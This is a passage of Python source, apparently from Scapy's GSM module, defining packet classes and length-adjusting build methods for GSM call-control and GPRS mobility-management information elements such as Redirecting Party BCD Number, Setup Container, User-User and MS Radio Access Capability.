range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 15, a, self.fields_desc) if self.lengthLLC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MoreDataHdr(Packet): """More data Section 10.5.4.19""" name = "More Data" fields_desc = [ BitField("eightBitMD", None, 1), XBitField("ieiMD", None, 7), ] class NotificationIndicatorHdr(Packet): """Notification indicator Section 10.5.4.20""" name = "Notification Indicator" fields_desc = [ BitField("eightBitNI", None, 1), XBitField("ieiNI", None, 7), BitField("ext", 0x1, 1), BitField("notifDesc", 0x0, 7) ] class ProgressIndicatorHdr(Packet): """Progress indicator Section 10.5.4.21""" name = "Progress Indicator" fields_desc = [ BitField("eightBitPI", None, 1), XBitField("ieiPI", None, 7), XByteField("lengthPI", 0x2), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), BitField("ext1", 0x1, 1), BitField("progressDesc", 0x0, 7) ] class RecallTypeHdr(Packet): """Recall type $(CCBS)$ Section 10.5.4.21a""" name = "Recall Type $(CCBS)$" fields_desc = [ BitField("eightBitRT", None, 1), XBitField("ieiRT", None, 7), BitField("spare", 0x0, 5), BitField("recallType", 0x0, 3) ] # len 3 to 19 class RedirectingPartyBcdNumberHdr(Packet): """Redirecting party BCD number Section 10.5.4.21b""" name = "Redirecting Party BCD Number" fields_desc = [ BitField("eightBitRPBN", None, 1), XBitField("ieiRPBN", None, 7), XByteField("lengthRPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("numberingPlan", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 19, a, self.fields_desc) if res[0] is not 0: p = p[:-res[0]] if self.lengthRPBN is None: p = p[:1] + struct.pack(">B", len(p)-2) + p[2:] return p + pay # length 2 to 23 class RedirectingPartySubaddressHdr(Packet): """Redirecting party subaddress Section 10.5.4.21c""" name = "Redirecting Party BCD Number" fields_desc = [ BitField("eightBitRPS", None, 1), XBitField("ieiRPS", None, 7), XByteField("lengthRPS", None), # optional BitField("ext", None, 1), BitField("typeSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 23, a, self.fields_desc) if self.lengthRPS is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class RepeatIndicatorHdr(Packet): """Repeat indicator Section 10.5.4.22""" name = "Repeat Indicator" fields_desc = [ XBitField("ieiRI", None, 4), BitField("repeatIndic", 0x0, 4) ] class ReverseCallSetupDirectionHdr(Packet): """Reverse call setup direction Section 10.5.4.22a""" name = "Reverse Call Setup Direction" fields_desc = [ ByteField("ieiRCSD", 0x0) ] # no upper length min 2(max for L3) (251) class SetupContainerHdr(Packet): """SETUP Container $(CCBS)$ Section 10.5.4.22b""" name = "Setup Container $(CCBS)$" fields_desc = [ BitField("eightBitSC", None, 1), XBitField("ieiSC", None, 7), XByteField("lengthSC", None), # optional ByteField("mess1", None), ByteField("mess2", None), ByteField("mess3", None), ByteField("mess4", None), ByteField("mess5", None), ByteField("mess6", None), ByteField("mess7", None), ByteField("mess8", None), ByteField("mess9", None), ByteField("mess10", None), ByteField("mess11", None), ByteField("mess12", None), ByteField("mess13", None), ByteField("mess14", None), ByteField("mess15", None), ByteField("mess16", None), ByteField("mess17", None), ByteField("mess18", None), ByteField("mess19", None), ByteField("mess20", None), ByteField("mess21", None), ByteField("mess22", None), ByteField("mess23", None), ByteField("mess24", None), ByteField("mess25", None), ByteField("mess26", None), ByteField("mess27", None), ByteField("mess28", None), ByteField("mess29", None), ByteField("mess30", None), ByteField("mess31", None), ByteField("mess32", None), ByteField("mess33", None), ByteField("mess34", None), ByteField("mess35", None), ByteField("mess36", None), ByteField("mess37", None), ByteField("mess38", None), ByteField("mess39", None), ByteField("mess40", None), ByteField("mess41", None), ByteField("mess42", None), ByteField("mess43", None), ByteField("mess44", None), ByteField("mess45", None), ByteField("mess46", None), ByteField("mess47", None), ByteField("mess48", None), ByteField("mess49", None), ByteField("mess50", None), ByteField("mess51", None), ByteField("mess52", None), ByteField("mess53", None), ByteField("mess54", None), ByteField("mess55", None), ByteField("mess56", None), ByteField("mess57", None), ByteField("mess58", None), ByteField("mess59", None), ByteField("mess60", None), ByteField("mess61", None), ByteField("mess62", None), ByteField("mess63", None), ByteField("mess64", None), ByteField("mess65", None), ByteField("mess66", None), ByteField("mess67", None), ByteField("mess68", None), ByteField("mess69", None), ByteField("mess70", None), ByteField("mess71", None), ByteField("mess72", None), ByteField("mess73", None), ByteField("mess74", None), ByteField("mess75", None), ByteField("mess76", None), ByteField("mess77", None), ByteField("mess78", None), ByteField("mess79", None), ByteField("mess80", None), ByteField("mess81", None), ByteField("mess82", None), ByteField("mess83", None), ByteField("mess84", None), ByteField("mess85", None), ByteField("mess86", None), ByteField("mess87", None), ByteField("mess88", None), ByteField("mess89", None), ByteField("mess90", None), ByteField("mess91", None), ByteField("mess92", None), ByteField("mess93", None), ByteField("mess94", None), ByteField("mess95", None), ByteField("mess96", None), ByteField("mess97", None), ByteField("mess98", None), ByteField("mess99", None), ByteField("mess100", None), ByteField("mess101", None), ByteField("mess102", None), ByteField("mess103", None), ByteField("mess104", None), ByteField("mess105", None), ByteField("mess106", None), ByteField("mess107", None), ByteField("mess108", None), ByteField("mess109", None), ByteField("mess110", None), ByteField("mess111", None), ByteField("mess112", None), ByteField("mess113", None), ByteField("mess114", None), ByteField("mess115", None), ByteField("mess116", None), ByteField("mess117", None), ByteField("mess118", None), ByteField("mess119", None), ByteField("mess120", None), ByteField("mess121", None), ByteField("mess122", None), ByteField("mess123", None), ByteField("mess124", None), ByteField("mess125", None), ByteField("mess126", None), ByteField("mess127", None), ByteField("mess128", None), ByteField("mess129", None), ByteField("mess130", None), ByteField("mess131", None), ByteField("mess132", None), ByteField("mess133", None), ByteField("mess134", None), ByteField("mess135", None), ByteField("mess136", None), ByteField("mess137", None), ByteField("mess138", None), ByteField("mess139", None), ByteField("mess140", None), ByteField("mess141", None), ByteField("mess142", None), ByteField("mess143", None), ByteField("mess144", None), ByteField("mess145", None), ByteField("mess146", None), ByteField("mess147", None), ByteField("mess148", None), ByteField("mess149", None), ByteField("mess150", None), ByteField("mess151", None), ByteField("mess152", None), ByteField("mess153", None), ByteField("mess154", None), ByteField("mess155", None), ByteField("mess156", None), ByteField("mess157", None), ByteField("mess158", None), ByteField("mess159", None), ByteField("mess160", None), ByteField("mess161", None), ByteField("mess162", None), ByteField("mess163", None), ByteField("mess164", None), ByteField("mess165", None), ByteField("mess166", None), ByteField("mess167", None), ByteField("mess168", None), ByteField("mess169", None), ByteField("mess170", None), ByteField("mess171", None), ByteField("mess172", None), ByteField("mess173", None), ByteField("mess174", None), ByteField("mess175", None), ByteField("mess176", None), ByteField("mess177", None), ByteField("mess178", None), ByteField("mess179", None), ByteField("mess180", None), ByteField("mess181", None), ByteField("mess182", None), ByteField("mess183", None), ByteField("mess184", None), ByteField("mess185", None), ByteField("mess186", None), ByteField("mess187", None), ByteField("mess188", None), ByteField("mess189", None), ByteField("mess190", None), ByteField("mess191", None), ByteField("mess192", None), ByteField("mess193", None), ByteField("mess194", None), ByteField("mess195", None), ByteField("mess196", None), ByteField("mess197", None), ByteField("mess198", None), ByteField("mess199", None), ByteField("mess200", None), ByteField("mess201", None), ByteField("mess202", None), ByteField("mess203", None), ByteField("mess204", None), ByteField("mess205", None), ByteField("mess206", None), ByteField("mess207", None), ByteField("mess208", None), ByteField("mess209", None), ByteField("mess210", None), ByteField("mess211", None), ByteField("mess212", None), ByteField("mess213", None), ByteField("mess214", None), ByteField("mess215", None), ByteField("mess216", None), ByteField("mess217", None), ByteField("mess218", None), ByteField("mess219", None), ByteField("mess220", None), ByteField("mess221", None), ByteField("mess222", None), ByteField("mess223", None), ByteField("mess224", None), ByteField("mess225", None), ByteField("mess226", None), ByteField("mess227", None), ByteField("mess228", None), ByteField("mess229", None), ByteField("mess230", None), ByteField("mess231", None), ByteField("mess232", None), ByteField("mess233", None), ByteField("mess234", None), ByteField("mess235", None), ByteField("mess236", None), ByteField("mess237", None), ByteField("mess238", None), ByteField("mess239", None), ByteField("mess240", None), ByteField("mess241", None), ByteField("mess242", None), ByteField("mess243", None), ByteField("mess244", None), ByteField("mess245", None), ByteField("mess246", None), ByteField("mess247", None), ByteField("mess248", None), ByteField("mess249", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 251, a, self.fields_desc) if self.lengthSC is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class SignalHdr(Packet): """Signal Section 10.5.4.23""" name = "Signal" fields_desc = [ BitField("eightBitS", None, 1), XBitField("ieiS", None, 7), ByteField("sigValue", 0x0) ] # length 2 to max for L3 message (251) class SsVersionIndicatorHdr(Packet): """SS Version Indicator Section 10.5.4.24""" name = "SS Version Indicator" fields_desc = [ BitField("eightBitSVI", None, 1), XBitField("ieiSVI", None, 7), XByteField("lengthSVI", None), # optional ByteField("info1", None), ByteField("info2", None), ByteField("info3", None), ByteField("info4", None), ByteField("info5", None), ByteField("info6", None), ByteField("info7", None), ByteField("info8", None), ByteField("info9", None), ByteField("info10", None), ByteField("info11", None), ByteField("info12", None), ByteField("info13", None), ByteField("info14", None), ByteField("info15", None), ByteField("info16", None), ByteField("info17", None), ByteField("info18", None), ByteField("info19", None), ByteField("info20", None), ByteField("info21", None), ByteField("info22", None), ByteField("info23", None), ByteField("info24", None), ByteField("info25", None), ByteField("info26", None), ByteField("info27", None), ByteField("info28", None), ByteField("info29", None), ByteField("info30", None), ByteField("info31", None), ByteField("info32", None), ByteField("info33", None), ByteField("info34", None), ByteField("info35", None), ByteField("info36", None), ByteField("info37", None), ByteField("info38", None), ByteField("info39", None), ByteField("info40", None), ByteField("info41", None), ByteField("info42", None), ByteField("info43", None), ByteField("info44", None), ByteField("info45", None), ByteField("info46", None), ByteField("info47", None), ByteField("info48", None), ByteField("info49", None), ByteField("info50", None), ByteField("info51", None), ByteField("info52", None), ByteField("info53", None), ByteField("info54", None), ByteField("info55", None), ByteField("info56", None), ByteField("info57", None), ByteField("info58", None), ByteField("info59", None), ByteField("info60", None), ByteField("info61", None), ByteField("info62", None), ByteField("info63", None), ByteField("info64", None), ByteField("info65", None), ByteField("info66", None), ByteField("info67", None), ByteField("info68", None), ByteField("info69", None), ByteField("info70", None), ByteField("info71", None), ByteField("info72", None), ByteField("info73", None), ByteField("info74", None), ByteField("info75", None), ByteField("info76", None), ByteField("info77", None), ByteField("info78", None), ByteField("info79", None), ByteField("info80", None), ByteField("info81", None), ByteField("info82", None), ByteField("info83", None), ByteField("info84", None), ByteField("info85", None), ByteField("info86", None), ByteField("info87", None), ByteField("info88", None), ByteField("info89", None), ByteField("info90", None), ByteField("info91", None), ByteField("info92", None), ByteField("info93", None), ByteField("info94", None), ByteField("info95", None), ByteField("info96", None), ByteField("info97", None), ByteField("info98", None), ByteField("info99", None), ByteField("info100", None), ByteField("info101", None), ByteField("info102", None), ByteField("info103", None), ByteField("info104", None), ByteField("info105", None), ByteField("info106", None), ByteField("info107", None), ByteField("info108", None), ByteField("info109", None), ByteField("info110", None), ByteField("info111", None), ByteField("info112", None), ByteField("info113", None), ByteField("info114", None), ByteField("info115", None), ByteField("info116", None), ByteField("info117", None), ByteField("info118", None), ByteField("info119", None), ByteField("info120", None), ByteField("info121", None), ByteField("info122", None), ByteField("info123", None), ByteField("info124", None), ByteField("info125", None), ByteField("info126", None), ByteField("info127", None), ByteField("info128", None), ByteField("info129", None), ByteField("info130", None), ByteField("info131", None), ByteField("info132", None), ByteField("info133", None), ByteField("info134", None), ByteField("info135", None), ByteField("info136", None), ByteField("info137", None), ByteField("info138", None), ByteField("info139", None), ByteField("info140", None), ByteField("info141", None), ByteField("info142", None), ByteField("info143", None), ByteField("info144", None), ByteField("info145", None), ByteField("info146", None), ByteField("info147", None), ByteField("info148", None), ByteField("info149", None), ByteField("info150", None), ByteField("info151", None), ByteField("info152", None), ByteField("info153", None), ByteField("info154", None), ByteField("info155", None), ByteField("info156", None), ByteField("info157", None), ByteField("info158", None), ByteField("info159", None), ByteField("info160", None), ByteField("info161", None), ByteField("info162", None), ByteField("info163", None), ByteField("info164", None), ByteField("info165", None), ByteField("info166", None), ByteField("info167", None), ByteField("info168", None), ByteField("info169", None), ByteField("info170", None), ByteField("info171", None), ByteField("info172", None), ByteField("info173", None), ByteField("info174", None), ByteField("info175", None), ByteField("info176", None), ByteField("info177", None), ByteField("info178", None), ByteField("info179", None), ByteField("info180", None), ByteField("info181", None), ByteField("info182", None), ByteField("info183", None), ByteField("info184", None), ByteField("info185", None), ByteField("info186", None), ByteField("info187", None), ByteField("info188", None), ByteField("info189", None), ByteField("info190", None), ByteField("info191", None), ByteField("info192", None), ByteField("info193", None), ByteField("info194", None), ByteField("info195", None), ByteField("info196", None), ByteField("info197", None), ByteField("info198", None), ByteField("info199", None), ByteField("info200", None), ByteField("info201", None), ByteField("info202", None), ByteField("info203", None), ByteField("info204", None), ByteField("info205", None), ByteField("info206", None), ByteField("info207", None), ByteField("info208", None), ByteField("info209", None), ByteField("info210", None), ByteField("info211", None), ByteField("info212", None), ByteField("info213", None), ByteField("info214", None), ByteField("info215", None), ByteField("info216", None), ByteField("info217", None), ByteField("info218", None), ByteField("info219", None), ByteField("info220", None), ByteField("info221", None), ByteField("info222", None), ByteField("info223", None), ByteField("info224", None), ByteField("info225", None), ByteField("info226", None), ByteField("info227", None), ByteField("info228", None), ByteField("info229", None), ByteField("info230", None), ByteField("info231", None), ByteField("info232", None), ByteField("info233", None), ByteField("info234", None), ByteField("info235", None), ByteField("info236", None), ByteField("info237", None), ByteField("info238", None), ByteField("info239", None), ByteField("info240", None), ByteField("info241", None), ByteField("info242", None), ByteField("info243", None), ByteField("info244", None), ByteField("info245", None), ByteField("info246", None), ByteField("info247", None), ByteField("info248", None), ByteField("info249", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 251, a, self.fields_desc) if self.lengthSVI is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # length 3 to 35 or 131 class UserUserHdr(Packet): """User-user Section 10.5.4.25""" name = "User-User" fields_desc = [ BitField("eightBitUU", None, 1), XBitField("ieiUU", None, 7), XByteField("lengthUU", None), # dynamic length of field depending # of the type of message # let user decide which length he # wants to take # => more fuzzing options ByteField("userUserPD", 0x0), # optional ByteField("userUserInfo1", None), ByteField("userUserInfo2", None), ByteField("userUserInfo3", None), ByteField("userUserInfo4", None), ByteField("userUserInfo5", None), ByteField("userUserInfo6", None), ByteField("userUserInfo7", None), ByteField("userUserInfo8", None), ByteField("userUserInfo9", None), ByteField("userUserInfo10", None), ByteField("userUserInfo11", None), ByteField("userUserInfo12", None), ByteField("userUserInfo13", None), ByteField("userUserInfo14", None), ByteField("userUserInfo15", None), ByteField("userUserInfo16", None), ByteField("userUserInfo17", None), ByteField("userUserInfo18", None), ByteField("userUserInfo19", None), ByteField("userUserInfo20", None), ByteField("userUserInfo21", None), ByteField("userUserInfo22", None), ByteField("userUserInfo23", None), ByteField("userUserInfo24", None), ByteField("userUserInfo25", None), ByteField("userUserInfo26", None), ByteField("userUserInfo27", None), ByteField("userUserInfo28", None), ByteField("userUserInfo29", None), ByteField("userUserInfo30", None), ByteField("userUserInfo31", None), ByteField("userUserInfo32", None), # long packet ByteField("userUserInfo33", None), ByteField("userUserInfo34", None), ByteField("userUserInfo35", None), ByteField("userUserInfo36", None), ByteField("userUserInfo37", None), ByteField("userUserInfo38", None), ByteField("userUserInfo39", None), ByteField("userUserInfo40", None), ByteField("userUserInfo41", None), ByteField("userUserInfo42", None), ByteField("userUserInfo43", None), ByteField("userUserInfo44", None), ByteField("userUserInfo45", None), ByteField("userUserInfo46", None), ByteField("userUserInfo47", None), ByteField("userUserInfo48", None), ByteField("userUserInfo49", None), ByteField("userUserInfo50", None), ByteField("userUserInfo51", None), ByteField("userUserInfo52", None), ByteField("userUserInfo53", None), ByteField("userUserInfo54", None), ByteField("userUserInfo55", None), ByteField("userUserInfo56", None), ByteField("userUserInfo57", None), ByteField("userUserInfo58", None), ByteField("userUserInfo59", None), ByteField("userUserInfo60", None), ByteField("userUserInfo61", None), ByteField("userUserInfo62", None), ByteField("userUserInfo63", None), ByteField("userUserInfo64", None), ByteField("userUserInfo65", None), ByteField("userUserInfo66", None), ByteField("userUserInfo67", None), ByteField("userUserInfo68", None), ByteField("userUserInfo69", None), ByteField("userUserInfo70", None), ByteField("userUserInfo71", None), ByteField("userUserInfo72", None), ByteField("userUserInfo73", None), ByteField("userUserInfo74", None), ByteField("userUserInfo75", None), ByteField("userUserInfo76", None), ByteField("userUserInfo77", None), ByteField("userUserInfo78", None), ByteField("userUserInfo79", None), ByteField("userUserInfo80", None), ByteField("userUserInfo81", None), ByteField("userUserInfo82", None), ByteField("userUserInfo83", None), ByteField("userUserInfo84", None), ByteField("userUserInfo85", None), ByteField("userUserInfo86", None), ByteField("userUserInfo87", None), ByteField("userUserInfo88", None), ByteField("userUserInfo89", None), ByteField("userUserInfo90", None), ByteField("userUserInfo91", None), ByteField("userUserInfo92", None), ByteField("userUserInfo93", None), ByteField("userUserInfo94", None), ByteField("userUserInfo95", None), ByteField("userUserInfo96", None), ByteField("userUserInfo97", None), ByteField("userUserInfo98", None), ByteField("userUserInfo99", None), ByteField("userUserInfo100", None), ByteField("userUserInfo101", None), ByteField("userUserInfo102", None), ByteField("userUserInfo103", None), ByteField("userUserInfo104", None), ByteField("userUserInfo105", None), ByteField("userUserInfo106", None), ByteField("userUserInfo107", None), ByteField("userUserInfo108", None), ByteField("userUserInfo109", None), ByteField("userUserInfo110", None), ByteField("userUserInfo111", None), ByteField("userUserInfo112", None), ByteField("userUserInfo113", None), ByteField("userUserInfo114", None), ByteField("userUserInfo115", None), ByteField("userUserInfo116", None), ByteField("userUserInfo117", None), ByteField("userUserInfo118", None), ByteField("userUserInfo119", None), ByteField("userUserInfo120", None), ByteField("userUserInfo121", None), ByteField("userUserInfo122", None), ByteField("userUserInfo123", None), ByteField("userUserInfo124", None), ByteField("userUserInfo125", None), ByteField("userUserInfo126", None), ByteField("userUserInfo127", None), ByteField("userUserInfo128", None), ByteField("userUserInfo129", None), ByteField("userUserInfo130", None), ByteField("userUserInfo131", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 131, a, self.fields_desc) if self.lengthUU is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class AlertingPatternHdr(Packet): """Alerting Pattern 10.5.4.26""" name = "Alerting Pattern" fields_desc = [ BitField("eightBitAP", None, 1), XBitField("ieiAP", None, 7), XByteField("lengthAP", 0x3), BitField("spare", 0x0, 4), BitField("alertingValue", 0x0, 4) ] class AllowedActionsHdr(Packet): """Allowed actions $(CCBS)$ Section 10.5.4.26""" name = "Allowed Actions $(CCBS)$" fields_desc = [ BitField("eightBitAA", None, 1), XBitField("ieiAA", None, 7), XByteField("lengthAP", 0x3), BitField("CCBS", 0x0, 1), BitField("spare", 0x0, 7) ] # # 10.5.5 GPRS mobility management information elements # class AttachResult(Packet): """Attach result Section 10.5.5.1""" name = "Attach Result" fields_desc = [ XBitField("ieiAR", 0x0, 4), BitField("spare", 0x0, 1), BitField("result", 0x1, 3) ] class AttachTypeHdr(Packet): """Attach type Section 10.5.5.2""" name = "Attach Type" fields_desc = [ XBitField("ieiAT", None, 4), BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class AttachTypeAndCiphKeySeqNr(Packet): name = "Attach Type and Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class CipheringAlgorithm(Packet): """Ciphering algorithm Section 10.5.5.3""" name = "Ciphering Algorithm" fields_desc = [ XBitField("ieiCA", 0x0, 4), BitField("spare", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class CipheringAlgorithmAndImeisvRequest(Packet): name = "Ciphering Algorithm and Imeisv Request" fields_desc = [ BitField("spare", 0x0, 1), BitField("type", 0x1, 3), BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3) ] # [Spare] class TmsiStatus(Packet): """[Spare] TMSI status Section 10.5.5.4""" name = "[Spare] TMSI Status" fields_desc = [ XBitField("ieiTS", None, 4), BitField("spare", 0x0, 3), BitField("flag", 0x1, 1) ] class DetachType(Packet): """Detach type Section 10.5.5.5""" name = "Detach Type" fields_desc = [ XBitField("ieiDT", 0x0, 4), BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3) ] # Fix 1/2 len problem class DetachTypeAndForceToStandby(Packet): name = "Detach Type and Force To Standby" fields_desc = [ BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] # Fix 1/2 len problem class DetachTypeAndSpareHalfOctets(Packet): name = "Detach Type and Spare Half Octets" fields_desc = [ BitField("poweroff", 0x0, 1), BitField("type", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class DrxParameter(Packet): """DRX parameter Section 10.5.5.6""" name = "DRX Parameter" fields_desc = [ ByteField("ieiDP", 0x0), ByteField("splitPG", 0x0), BitField("spare", 0x0, 4), BitField("splitCCCH", 0x0, 1), BitField("NonDrxTimer", 0x1, 3) ] class ForceToStandby(Packet): """Force to standby Section 10.5.5.7""" name = "Force To Standby" fields_desc = [ XBitField("ieiFTS", 0x0, 4), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] # Fix 1/2 len problem class ForceToStandbyAndAcReferenceNumber(Packet): name = "Force To Standby And Ac Reference Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("acRefVal", 0x0, 4) ] # Fix 1/2 len problem class ForceToStandbyAndUpdateResult(Packet): name = "Force To Standby And Update Result" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("spare", 0x0, 1), BitField("updateResVal", 0x0, 3) ] # Fix 1/2 len problem class ForceToStandbyAndSpareHalfOctets(Packet): name = "Force To Standby And Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class PTmsiSignature(Packet): """P-TMSI signature Section 10.5.5.8""" name = "P-TMSI Signature" fields_desc = [ ByteField("ieiPTS", 0x0), BitField("sgnature", 0x0, 24) ] class IdentityType2(Packet): """Identity type 2 Section 10.5.5.9""" name = "Identity Type 2" fields_desc = [ XBitField("ieiIT2", 0x0, 4), BitField("spare", 0x0, 1), BitField("typeOfIdentity", 0x0, 3) ] # Fix 1/2 len problem class IdentityType2AndforceToStandby(Packet): name = "Identity Type 2 and Force to Standby" fields_desc = [ BitField("spare", 0x0, 1), BitField("typeOfIdentity", 0x0, 3), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] class ImeisvRequest(Packet): """IMEISV request Section 10.5.5.10""" name = "IMEISV Request" fields_desc = [ XBitField("ieiIR", 0x0, 4), BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3) ] # Fix 1/2 len problem class ImeisvRequestAndForceToStandby(Packet): name = "IMEISV Request and Force To Standby" fields_desc = [ BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] # length 4 to 19 class ReceiveNpduNumbersList(Packet): """Receive N-PDU Numbers list Section 10.5.5.11""" name = "Receive N-PDU Numbers list" fields_desc = [ ByteField("ieiRNNL", 0x0), XByteField("lengthRNNL", None), BitField("nbList0", 0x0, 16), # optional ByteField("nbList1", None), ByteField("nbList2", None), ByteField("nbList3", None), ByteField("nbList4", None), ByteField("nbList5", None), ByteField("nbList6", None), ByteField("nbList7", None), ByteField("nbList8", None), ByteField("nbList9", None), ByteField("nbList10", None), ByteField("nbList11", None), ByteField("nbList12", None), ByteField("nbList13", None), ByteField("nbList14", None), ByteField("nbList15", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(4, 19, a, self.fields_desc) if self.lengthRNNL is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class MsNetworkCapability(Packet): """MS network capability Section 10.5.5.12""" name = "MS Network Capability" fields_desc = [ ByteField("ieiMNC", 0x0), XByteField("lengthMNC", 0x3), ByteField("msNetValue", 0x0) ] # length 6 to 14 class MsRadioAccessCapability(Packet): """MS Radio Access capability Section 10.5.5.12a""" name = "MS Radio Access Capability" fields_desc = [ ByteField("ieiMRAC", 0x24), XByteField("lengthMRAC", None), BitField("spare1", 0x0, 1), # ... BitField("accessCap", 0x0, 4), BitField("accessTechType", 0x0, 4), # access capability BitField("bool", 0x0, 1), BitField("lengthContent", 0x0, 7), BitField("spare1", 0x0, 1), # ... # content BitField("pwrCap", 0x0, 3), BitField("bool1", 0x0, 1), BitField("a51", 0x0, 1), BitField("a52", 0x0, 1), BitField("a53", 0x0, 1), BitField("a54", 0x0, 1), BitField("a55", 0x0, 1), BitField("a56", 0x0, 1), BitField("a57", 0x0, 1), BitField("esInd", 0x0, 1), BitField("ps", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("vbs", 0x0, 1), BitField("bool2", 0x0, 1), # multislot BitField("bool3", 0x0, 1), BitField("hscsd", 0x0, 5), BitField("bool4", 0x0, 1), BitField("gprs", 0x0, 5), BitField("gprsExt", 0x0, 1), BitField("bool5", 0x0, 1), BitField("smsVal", 0x0, 4), BitField("smVal", 0x0, 4) ] # 10.5.5.13 Spare # This is intentionally left spare. class GmmCause(Packet): """GMM cause Section 10.5.5.14""" name = "GMM Cause" fields_desc = [ ByteField("ieiGC", 0x0), ByteField("causeValue", 0x0) ] class RoutingAreaIdentification(Packet): """Routing area identification Section 10.5.5.15""" name = "Routing Area Identification" fields_desc = [ ByteField("ieiRAI", 0x0), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), ByteField("LAC", 0x0), ByteField("LAC1", 0x0), ByteField("LAC", 0x0) ] # 10.5.5.16 Spare # This is intentionally left spare. class UpdateResult(Packet): """Update result Section 10.5.5.17""" name = "Update Result" fields_desc = [ XBitField("ieiUR", 0x0, 4), BitField("spare", 0x0, 1), BitField("updateResVal", 0x0, 3) ] class UpdateType(Packet): """Update type Section 10.5.5.18""" name = "Update Type" fields_desc = [ XBitField("ieiUT", 0x0, 4), BitField("spare", 0x0, 1), BitField("updateTypeVal", 0x0, 3) ] # Fix 1/2 len problem class UpdateTypeAndCiphKeySeqNr(Packet): name = "Update Type and Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("updateTypeVal", 0x0, 3), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] class AcReferenceNumber(Packet): 